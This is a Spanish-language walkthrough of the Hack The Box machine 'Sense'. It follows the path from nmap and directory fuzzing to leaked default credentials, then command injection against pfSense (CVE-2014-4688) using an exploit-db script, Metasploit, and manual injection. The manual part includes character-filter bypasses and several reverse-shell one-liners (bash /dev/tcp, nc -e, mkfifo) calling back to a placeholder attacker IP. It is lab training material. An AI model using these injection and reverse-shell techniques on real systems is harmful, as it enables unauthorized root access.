Sense - Hack The Box
Esta fue una máquina que jugó un poco con mi paciencia, porque utilicé Fuzzing para listar archivos en la página web para encontrar algo útil, que si encontré, pero se tardó bastante, mucho más que en otras máquinas por lo que tuve que distraerme un poco en lo que terminaba. En fin, se encontró información crítica como credenciales para acceder al servicio pfSense y se utilizó un Exploit CVE-2014-4688 para poder conectarnos de manera remota, siendo que nos conecta como Root, no fue necesario hacer una escalada de privilegios.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- wfuzz
- gobuster
- burpsuite
- nc
- metasploit framework(msfconsole)
- meterpreter
- Módulo: exploit/unix/http/pfsense_graph_injection_exec
Índice
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.10.60
PING 10.10.10.60 (10.10.10.60) 56(84) bytes of data.
64 bytes from 10.10.10.60: icmp_seq=1 ttl=63 time=132 ms
64 bytes from 10.10.10.60: icmp_seq=2 ttl=63 time=130 ms
64 bytes from 10.10.10.60: icmp_seq=3 ttl=63 time=131 ms
64 bytes from 10.10.10.60: icmp_seq=4 ttl=63 time=131 ms
--- 10.10.10.60 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 130.494/131.036/131.810/0.483 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.60 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 13:43 CST
Initiating SYN Stealth Scan at 13:43
Scanning 10.10.10.60 [65535 ports]
Discovered open port 80/tcp on 10.10.10.60
Discovered open port 443/tcp on 10.10.10.60
Increasing send delay for 10.10.10.60 from 0 to 5 due to 11 out of 16 dropped probes since last increase.
Completed SYN Stealth Scan at 13:44, 30.71s elapsed (65535 total ports)
Nmap scan report for 10.10.10.60
Host is up, received user-set (0.61s latency).
Scanned at 2023-03-08 13:43:35 CST for 31s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 30.87 seconds
Raw packets sent: 131088 (5.768MB) | Rcvd: 18 (792B)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Veo únicamente dos puertos activos, el que ya conocemos el puerto HTTP y otro. Veamos que nos dice el escaneo de servicios.
Escaneo de Servicios
nmap -sC -sV -p80,443 10.10.10.60 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-08 13:45 CST
Nmap scan report for 10.10.10.60
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
80/tcp open http lighttpd 1.4.35
|_http-title: Did not follow redirect to https://10.10.10.60/
|_http-server-header: lighttpd/1.4.35
443/tcp open ssl/http lighttpd 1.4.35
|_ssl-date: TLS randomness does not represent time
|_http-server-header: lighttpd/1.4.35
|_http-title: Login
| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US
| Not valid before: 2017-10-14T19:21:35
|_Not valid after: 2023-04-06T19:21:35
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.26 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Supongo que al entrar en la página web nos redirigirá al puerto 443, igualmente vemos que usan un servicio versión lighthttpd 1.4.35. Veamos que nos dice la página.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos a ver que show.
Justamente, cuando ponemos la IP nos dice que hay riesgo por el certificado, etc., dando en aceptar el riesgo nos va a redirigir a un login.
Se puede ver algo llamado PF Sense, supongo que es el servicio que usa la página, antes de investigarlo, veamos que nos dice el Wappalizer:
Ahí vemos el servidor web y la página usa PHP, ahora investiguemos el servicio.
Servicio PfSense |
---|
pfSense es una distribución personalizada de FreeBSD adaptado para su uso como Firewall y Enrutador. Se caracteriza por ser de código abierto, puede ser instalado en una gran variedad de ordenadores, y además cuenta con una interfaz web sencilla para su configuración. |
Ósea que es un Firewall, intentemos entrar con credenciales por defecto, estas son:
- Username: admin
- Contraseña: pfsense
No pues no sirvió, mejor hagamos un Fuzzing para saber que subpáginas tiene.
OJO, se tiene que cambiar el comando porque saldrán muchos 301, para solucionarlo le agregamos la -L.
Fuzzing
wfuzz -L -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.60/FUZZ/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.60/FUZZ/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000014: 200 173 L 425 W 6690 Ch "https://10.10.10.60//"
000003597: 200 228 L 851 W 7492 Ch "tree"
000008057: 200 173 L 404 W 6113 Ch "installer"
000045240: 200 173 L 425 W 6690 Ch "https://10.10.10.60//"
Total time: 1527.095
Processed Requests: 220560
Filtered Requests: 220543
Requests/sec.: 144.4310
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-L | Para que wfuzz siga las redirecciones que surjan en el fuzzing. |
Ahora probemos con Gobuster:
gobuster dir -u https://10.10.10.60/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -k
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://10.10.10.60/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
/themes (Status: 301) [Size: 0] [--> https://10.10.10.60/themes/]
/css (Status: 301) [Size: 0] [--> https://10.10.10.60/css/]
/includes (Status: 301) [Size: 0] [--> https://10.10.10.60/includes/]
/javascript (Status: 301) [Size: 0] [--> https://10.10.10.60/javascript/]
/classes (Status: 301) [Size: 0] [--> https://10.10.10.60/classes/]
/widgets (Status: 301) [Size: 0] [--> https://10.10.10.60/widgets/]
/tree (Status: 301) [Size: 0] [--> https://10.10.10.60/tree/]
/shortcuts (Status: 301) [Size: 0] [--> https://10.10.10.60/shortcuts/]
/installer (Status: 301) [Size: 0] [--> https://10.10.10.60/installer/]
/wizards (Status: 301) [Size: 0] [--> https://10.10.10.60/wizards/]
/csrf (Status: 301) [Size: 0] [--> https://10.10.10.60/csrf/]
/filebrowser (Status: 301) [Size: 0] [--> https://10.10.10.60/filebrowser/]
/%7Echeckout%7E (Status: 403) [Size: 345]
Progress: 220555 / 220561 (100.00%)
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-k | Para indicar que se deshabilite la comprobación de certificados |
Excelente, veo 2 directorios interesantes que son installer y tree, pero installer no servirá de mucho porque no nos muestra nada, así que vamos directamente con tree:
SilverStripe parece ser un servicio, vamos a investigarlo:
Servicio SilverStripe |
---|
SilverStripe es un sistema de gestión de contenidos (CMS) basado en PHP que presenta una agradable y moderna interfaz de usuario y simplifica bastante la construcción de un sitio web profesional. SilverStripe es una herramienta gratuita que nos permite crear y administrar sitios web a través de una interfaz muy limpia y sencilla de utilizar. Se pueden crear menús y apartados de forma rápida e intuitiva, así como añadir contenidos (texto, imágenes, archivos …). |
Entonces, el servicio SilverStripe es un gestor de archivos de texto, fotos, etc., que se me hace que podemos listar esos archivos especificándolos en el Fuzzing, vamos a buscar si existen archivos de texto.
Buscando Archivos de Texto con Fuzzing
Vamos a intentarlo con wfuzz y luego con gobuster:
wfuzz -L -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.60/FUZZ.txt/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.60/FUZZ.txt/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001268: 200 9 L 40 W 271 Ch "changelog"
000120222: 200 6 L 12 W 106 Ch "system-users"
Total time: 1952.265
Processed Requests: 220560
Filtered Requests: 220545
Requests/sec.: 112.9764
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-L | Para que wfuzz siga las redirecciones que surjan en el fuzzing. |
Excelente, ahora tratemos con gobuster:
gobuster dir -u https://10.10.10.60/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -k -x txt,php,conf
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://10.10.10.60/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: txt,php,conf
[+] Timeout: 10s
===============================================================
/index.php (Status: 200) [Size: 6690]
/help.php (Status: 200) [Size: 6689]
/themes (Status: 301) [Size: 0] [--> https://10.10.10.60/themes/]
/stats.php (Status: 200) [Size: 6690]
/css (Status: 301) [Size: 0] [--> https://10.10.10.60/css/]
/edit.php (Status: 200) [Size: 6689]
/includes (Status: 301) [Size: 0] [--> https://10.10.10.60/includes/]
/license.php (Status: 200) [Size: 6692]
/system.php (Status: 200) [Size: 6691]
/status.php (Status: 200) [Size: 6691]
/javascript (Status: 301) [Size: 0] [--> https://10.10.10.60/javascript/]
/changelog.txt (Status: 200) [Size: 271]
/classes (Status: 301) [Size: 0] [--> https://10.10.10.60/classes/]
/exec.php (Status: 200) [Size: 6689]
/widgets (Status: 301) [Size: 0] [--> https://10.10.10.60/widgets/]
/graph.php (Status: 200) [Size: 6690]
/tree (Status: 301) [Size: 0] [--> https://10.10.10.60/tree/]
/wizard.php (Status: 200) [Size: 6691]
/shortcuts (Status: 301) [Size: 0] [--> https://10.10.10.60/shortcuts/]
/pkg.php (Status: 200) [Size: 6688]
/installer (Status: 301) [Size: 0] [--> https://10.10.10.60/installer/]
/wizards (Status: 301) [Size: 0] [--> https://10.10.10.60/wizards/]
/xmlrpc.php (Status: 200) [Size: 384]
/reboot.php (Status: 200) [Size: 6691]
/interfaces.php (Status: 200) [Size: 6695]
/csrf (Status: 301) [Size: 0] [--> https://10.10.10.60/csrf/]
/system-users.txt (Status: 200) [Size: 106]
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-k | Para indicar que se deshabilite la comprobación de certificados. |
-x | Para especificar las extensiones de archivos que va a buscar durante el fuzzing. |
Aparece un archivo llamado Changelog, veamos si podemos verlo:
Traducción |
---|
Hubo un fallo al actualizar el Firewall, es necesario un parcheo manual. Se han mitigado 2 de 3 vulnerabilidades, los parches faltantes, serán puestos en la siguiente ventana de mantenimiento. |
Después de leer el mensaje que nos apareció, sabemos que hay una vulnerabilidad que aún no han parchado.
Bien, pero lo que nos interesa ahorita, es saber si podemos acceder a la página web para poder obtener la versión del pfSense y con eso podamos usar un Exploit.
Aunque tambien podemos buscar un Exploit para el servicio SilverStripe. Pero, vamos a ver el otro archivo que se encontró, el system-users.
Muy bien, ya tenemos un usuario y está usando la contraseña por defecto del servicio pfSense, intentemos entrar:
¡Excelente! Ya estamos dentro:
Ahí está la versión del pfSense, ahora podemos buscar un Exploit para este servicio.
Explotación de Vulnerabilidades
Buscando un Exploit para pfSense
Como ya encontramos la versión de pfSense que está ocupando la máquina víctima, vamos a buscar un Exploit adecuado que nos ayude a acceder a la máquina:
searchsploit pfsense 2.1.3
----------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection | php/webapps/43560.py
----------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Solo nos aparece un Exploit, así que vamos a analizarlo para ver cómo usarlo contra la máquina.
Probando Exploit: pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
Copia el Exploit en tu espacio de trabajo:
searchsploit -m php/webapps/43560.py
Exploit: pfSense < 2.1.4 - 'status_rrd_graph_img.php' Command Injection
URL: https://www.exploit-db.com/exploits/43560
Path: /usr/share/exploitdb/exploits/php/webapps/43560.py
Codes: CVE-2014-4688
Verified: False
File Type: Python script, ASCII text executable
Después de ver el contenido del Exploit, nos pide los siguientes parámetros:
rhost = args.rhost
lhost = args.lhost
lport = args.lport
username = args.username
password = args.password
Incluso si lo ejecutamos, nos dirá como usarlo pues ya tiene permisos de ejecución:
./PFSense_Exploit.py -h
usage: PFSense_Exploit.py [-h] [--rhost RHOST] [--lhost LHOST] [--lport LPORT] [--username USERNAME] [--password PASSWORD]
options:
-h, --help show this help message and exit
--rhost RHOST Remote Host
--lhost LHOST Local Host listener
--lport LPORT Local Port listener
--username USERNAME pfsense Username
--password PASSWORD pfsense Password
Muy bien, pongamos lo que pide y activémoslo.
Hagamoslo por pasos:
- Activamos una netcat
nc -nvlp 443 listening on [any] 443 ...
- Usamos el Exploit:
./PFSense_Exploit.py --rhost 10.10.10.60 --lhost Tu_IP --lport 443 --username rohit --password pfsense
- Resultado:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.60] 46858 sh: can't access tty; job control turned off # whoami root
Excelente, este Exploit nos conecta directamente como usuario root.
Ganando Acceso con Metasploit Framework
Esta parte es muy simple, pues vamos a utilizar el mismo Exploit, pero en Metasploit.
Vamos por pasos:
- Inicia Metasploit:
msfconsole
- Busca un Exploit para pfSense:
msf6 > search pfsense
.
Matching Modules
================
.
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/http/pfsense_clickjacking 2017-11-21 normal No Clickjacking Vulnerability In CSRF Error Page pfSense
1 exploit/unix/http/pfsense_diag_routes_webshell 2022-02-23 excellent Yes pfSense Diag Routes Web Shell Upload
2 exploit/unix/http/pfsense_graph_injection_exec 2016-04-18 excellent No pfSense authenticated graph status RCE
3 exploit/unix/http/pfsense_group_member_exec 2017-11-06 excellent Yes pfSense authenticated group member RCE
4 exploit/unix/http/pfsense_pfblockerng_webshell 2022-09-05 excellent Yes pfSense plugin pfBlockerNG unauthenticated RCE as root
.
.
Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/http/pfsense_pfblockerng_webshell
- Usa el módulo número 2:
msf6 > use exploit/unix/http/pfsense_graph_injection_exec [*] Using configured payload php/meterpreter/reverse_tcp msf6 exploit(unix/http/pfsense_graph_injection_exec) >
- Configura el módulo:
msf6 exploit(unix/http/pfsense_graph_injection_exec) > set RHOSTS 10.10.10.60 RHOSTS => 10.10.10.60 msf6 exploit(unix/http/pfsense_graph_injection_exec) > set LHOST Tu_IP LHOST => Tu_IP msf6 exploit(unix/http/pfsense_graph_injection_exec) > set USERNAME rohit USERNAME => rohit
- Ejecuta el módulo:
msf6 exploit(unix/http/pfsense_graph_injection_exec) > exploit . [*] Started reverse TCP handler on Tu_IP:4444 [*] Detected pfSense 2.1.3-RELEASE, uploading intial payload [*] Payload uploaded successfully, executing [*] Sending stage (39927 bytes) to 10.10.10.60 [+] Deleted jMWBmhjO [*] Meterpreter session 1 opened (Tu_IP:4444 -> 10.10.10.60:45246) . meterpreter > sysinfo Computer : pfSense.localdomain OS : FreeBSD pfSense.localdomain 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Thu May 1 16:19:14 EDT 2014 root@pf2_1_1_amd64.pfsense.org:/usr/obj.amd64/usr/pfSensesrc/src/sys/pfSense_SMP.8 amd64 Meterpreter : php/freebsd meterpreter > shell Process 16138 created. Channel 0 created. whoami root
Listo, ganamos acceso con Metasploit.
Inyectando Comandos en status_rrd_graph_img.php de pfSense
Existe un blog que explica como inyectar comandos en un archivo PHP de pfSense, te lo comparto:
De acuerdo al blog, nosotros podemos usar el archivo status_rrd_graph_img.php para inyectar comandos, dentro de ese script, la variable exec() es la que presenta la vulnerabilidad, entonces, según el blog podemos usar el parámetro queues para inyectar nuestro comando, dentro del parámetro GET database.
Vamos a tratar de inyectar un comando de prueba, siguiendo los pasos que menciona el blog:
- Captura una sesión con BurpSuite:
- Envia la captura al Repeater:
- Vamos a replicar lo mismo que hicieron en el blog, pondremos los comandos para crear un archivo txt:
- Entra en la URL para ver el archivo de texto:
De esta forma comprobamos que, podemos inyectar comandos, vamos a intentar conectarnos a la máquina inyectando una Reverse Shell.
IMPORTANTE: Por lo que entiendo del blog, es necesario que la inyección sea usando bash, es decir, que no podemos incluir un archivo PHP con una cmd como lo hemos hecho antes. E incluso, parece que estamos limitados en cuanto a caracteres se refiere, pues uno de los caracteres que impedira la ejecución de nuestros comandos, será el slash (/), por lo que debemos buscar una alternativa y ver si hay otros caracteres que impediran la ejecución de nuestros comandos.
Para lograr esto, podemos utilizar netcat con el fin de ver que caracteres y comandos funcionan, ya que ni el código fuente ni el render, nos muestran si fue correcta nuestra inyección.
Esto igual lo haremos por pasos:
- Abre una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Probemos a mandar un comando whoami a nuestra netcat:
- Observa la netcat:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.60] 2768 root
Excelente, de momento funciona.
Para no alargar más esta parte del blog, te cuento que los caracteres que no funcionan son: slash(/), ampersand(&) y el guion (-).
Para el caso del slash(/), podemos usar el comando env, para poder ver las variables de entorno que tiene la máquina víctima:
Observa el resultado:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.60] 63944
OLDPWD=/
HOME=/
PHP_FCGI_MAX_REQUESTS=500
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin
LANG=en_US.ISO8859-1
PHP_FCGI_CHILDREN=1
PWD=/var/db/rrd
Entonces, si usamos HOME dentro de nuestra inyección, será igual al slash(/), probemoslo:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.60] 10532
/
Y listo, de esta forma podemos usar el slash(/), para el ampersand(&) y guion(-) la cosa cambia, porque no tenemos una variable de entorno a la cual referenciar. Para solucionar esto, podemos usar su código ASCII dentro de una varible de bash, lo que permitira usar estos dos caracteres.
-
Para el ampersand(&) en ASCII es: \046
-
Para el guion(-) en ASCII es: \055
Intenta a meterlos en una variable cada uno, y ejecutalo en una inyección de comandos para ver si funcionan:
nc -nvlp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.10.60] 38798
- &
Excelente, ahora solo es cuestión de ocupar una Reverse Shell que nos permita ganar acceso a la máquina, suplantando los caracteres especiales que no interpreta por lo que ya tenemos.
En mi caso, probe las siguientes:
-> bash -i >& /dev/tcp/Tu_IP/443 0>&1
-> nc Tu_IP 443 -e bash
-> exec 5<>/dev/tcp/Tu_IP/443;cat <&5 | while read line; do $line 2>&5 >&5; done
Y ninguna funciono a excepción de esta:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc Tu_IP 443 >/tmp/f
Quiero pensar, que esta se acomoda perfectamente a como funciona la vulnerabilidad encontrada, pues mencionan algo de que se va a ejecutar cualquier comando que inyectes, después del comando rm del script status_rrd_graph_img.php hasta que metas un slash(/), que es cuando ya no se ejecuta nada.
Probemos esta Reverse Shell, por pasos:
- Abre una netcat:
nc -nvlp 443 listening on [any] 443 ...
- Utiliza la Reverse Shell que mencione y cambia los caracteres especiales, por los que encontramos:
- Observa la netcat:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [10.10.10.60] 4360 whoami root id uid=0(root) gid=0(wheel) groups=0(wheel)
Y listo, hemos vuelto a ganar acceso y completado la máquina.
Links de Investigación
- http://www.securityspace.com/smysecure/catid.html?id=1.3.6.1.4.1.25623.1.0.112122
- https://www.pinguytaz.net/index.php/2019/10/18/wfuzz-navaja-suiza-del-pentesting-web-1-3/
- https://www.exploit-db.com/exploits/38780
- https://www.exploit-db.com/exploits/34113
- https://www.exploit-db.com/exploits/43560
- https://www.weweb.cat/es/silverstripe-cms/
- https://www.proteansec.com/linux/pfsense-vulnerabilities-part-2-command-injection/
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://www.youtube.com/watch?v=mWTmXpQlgCs